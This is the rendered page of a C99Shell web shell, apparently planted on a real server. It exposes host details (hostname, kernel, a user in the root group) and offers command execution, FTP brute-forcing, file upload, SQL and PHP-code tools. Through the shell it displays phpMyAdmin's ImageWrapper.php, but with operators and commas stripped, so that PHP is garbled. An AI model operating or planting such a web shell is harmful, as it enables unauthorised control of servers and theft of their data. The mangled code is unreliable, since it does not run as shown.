!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/libraries/classes/Image/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ImageWrapper.php (4.75 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\Image;

use function 
count;
use function 
extension_loaded;
use function 
function_exists;
use function 
imagearc;
use function 
imagecolorallocate;
use function 
imagecopyresampled;
use function 
imagecreatefromstring;
use function 
imagecreatetruecolor;
use function 
imagedestroy;
use function 
imagefilledpolygon;
use function 
imagefilledrectangle;
use function 
imagejpeg;
use function 
imageline;
use function 
imagepng;
use function 
imagestring;
use function 
imagesx;
use function 
imagesy;

use const 
PHP_VERSION_ID;

final class 
ImageWrapper
{
    
/** @var resource */
    
private $image;

    
/**
     * @param resource $image
     */
    
private function __construct($image)
    {
        
$this->image $image;
    }

    
/**
     * @return resource
     */
    
public function getImage()
    {
        return 
$this->image;
    }

    
/**
     * @param array<string, int>|null $background
     * @psalm-param array{red: int, green: int, blue: int} $background
     */
    
public static function create(int $widthint $height, ?array $background null): ?self
    
{
        if (! 
extension_loaded('gd')) {
            return 
null;
        }

        
$image imagecreatetruecolor($width$height);
        if (
$image === false) {
            return 
null;
        }

        if (! isset(
$background$background['red'], $background['green'], $background['blue'])) {
            return new 
self($image);
        }

        
$backgroundColor imagecolorallocate($image$background['red'], $background['green'], $background['blue']);
        if (
$backgroundColor === false) {
            
imagedestroy($image);

            return 
null;
        }

        if (! 
imagefilledrectangle($image00$width 1$height 1$backgroundColor)) {
            
imagedestroy($image);

            return 
null;
        }

        return new 
self($image);
    }

    public static function 
fromString(string $data): ?self
    
{
        if (! 
extension_loaded('gd')) {
            return 
null;
        }

        
$image imagecreatefromstring($data);
        if (
$image === false) {
            return 
null;
        }

        return new 
self($image);
    }

    public function 
arc(
        
int $centerX,
        
int $centerY,
        
int $width,
        
int $height,
        
int $startAngle,
        
int $endAngle,
        
int $color
    
): bool {
        return 
imagearc($this->image$centerX$centerY$width$height$startAngle$endAngle$color);
    }

    
/**
     * @return int|false
     */
    
public function colorAllocate(int $redint $greenint $blue)
    {
        return 
imagecolorallocate($this->image$red$green$blue);
    }

    public function 
copyResampled(
        
ImageWrapper $sourceImage,
        
int $destinationX,
        
int $destinationY,
        
int $sourceX,
        
int $sourceY,
        
int $destinationWidth,
        
int $destinationHeight,
        
int $sourceWidth,
        
int $sourceHeight
    
): bool {
        return 
imagecopyresampled(
            
$this->image,
            
$sourceImage->getImage(),
            
$destinationX,
            
$destinationY,
            
$sourceX,
            
$sourceY,
            
$destinationWidth,
            
$destinationHeight,
            
$sourceWidth,
            
$sourceHeight
        
);
    }

    public function 
destroy(): bool
    
{
        if (
PHP_VERSION_ID >= 80000) {
            return 
true;
        }

        return 
imagedestroy($this->image);
    }

    public function 
filledPolygon(array $pointsint $color): bool
    
{
        if (
PHP_VERSION_ID 80000) {
            return 
imagefilledpolygon($this->image$points, (int) (count($points) / 2), $color);
        }

        return 
imagefilledpolygon($this->image$points$color);
    }

    public function 
height(): int
    
{
        return 
imagesy($this->image);
    }

    
/**
     * @param resource|string|null $file
     */
    
public function jpeg($file nullint $quality = -1): bool
    
{
        if (! 
function_exists('imagejpeg')) {
            return 
false;
        }

        return 
imagejpeg($this->image$file$quality);
    }

    public function 
line(int $x1int $y1int $x2int $y2int $color): bool
    
{
        return 
imageline($this->image$x1$y1$x2$y2$color);
    }

    
/**
     * @param resource|string|null $file
     */
    
public function png($file nullint $quality = -1int $filters = -1): bool
    
{
        if (! 
function_exists('imagepng')) {
            return 
false;
        }

        return 
imagepng($this->image$file$quality$filters);
    }

    public function 
string(int $fontint $xint $ystring $stringint $color): bool
    
{
        return 
imagestring($this->image$font$x$y$string$color);
    }

    public function 
width(): int
    
{
        return 
imagesx($this->image);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--